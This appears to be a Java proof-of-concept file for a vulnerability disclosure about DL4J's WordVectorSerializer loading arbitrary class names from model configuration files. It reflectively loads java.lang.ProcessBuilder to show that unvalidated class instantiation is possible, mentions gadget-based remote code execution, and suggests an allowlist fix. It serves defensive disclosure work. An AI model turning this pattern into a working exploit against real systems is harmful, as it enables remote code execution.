File size: 2,887 Bytes
1c63b1f
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
import java.io.*;
import java.lang.reflect.*;

/**
 * Proof of Concept for DL4J Arbitrary Class Instantiation Vulnerability
 * 
 * This demonstrates how DL4J's WordVectorSerializer dynamically instantiates
 * classes specified in model configuration files without validation.
 * 
 * To run:
 * javac DL4JPoCTest.java
 * java -cp ".:path/to/deeplearning4j-core.jar" DL4JPoCTest
 */
public class DL4JPoCTest {
    
    public static void main(String[] args) {
        System.out.println("[*] DL4J Arbitrary Class Instantiation PoC Test");
        System.out.println("[*] ============================================\n");
        
        // Simulate what DL4J's DL4JClassLoading.createNewInstance() does
        String maliciousClassName = "java.lang.ProcessBuilder";
        
        System.out.println("[*] Demonstrating how DL4J loads unvalidated class names from model config:");
        System.out.println("[*] tokenizerFactory = \"" + maliciousClassName + "\"\n");
        
        try {
            // This is what happens in WordVectorSerializer.java line 3069
            System.out.println("[*] Loading class: " + maliciousClassName);
            Class<?> loadedClass = Class.forName(maliciousClassName);
            System.out.println("[+] SUCCESS: Class loaded! " + loadedClass.getName());
            
            // Attempting to instantiate (this is what DL4J tries)
            System.out.println("[*] Attempting instantiation via reflection...");
            Constructor<?> constructor = loadedClass.getDeclaredConstructor();
            Object instance = constructor.newInstance();
            System.out.println("[+] VULNERABILITY CONFIRMED: Instance created: " + instance.getClass().getName());
            
            System.out.println("\n[!] IMPACT: Attacker can specify any Java class in model config");
            System.out.println("[!] If suitable gadget classes exist on classpath, RCE is possible");
            
        } catch (ClassNotFoundException e) {
            System.out.println("[-] Class not found: " + e.getMessage());
        } catch (NoSuchMethodException e) {
            System.out.println("[!] No zero-arg constructor found (expected for ProcessBuilder)");
            System.out.println("[!] But this proves class loading works - other gadget classes may exist");
        } catch (Exception e) {
            System.out.println("[!] Exception during instantiation: " + e.getClass().getSimpleName());
            System.out.println("[!] This is expected - but the vulnerability is the ATTEMPT itself");
            e.printStackTrace();
        }
        
        System.out.println("\n[*] Vulnerability: DL4J loads arbitrary classes without allowlist");
        System.out.println("[*] File: WordVectorSerializer.java, lines 3067-3069");
        System.out.println("[*] Fix: Implement class allowlist or use safer deserialization");
    }
}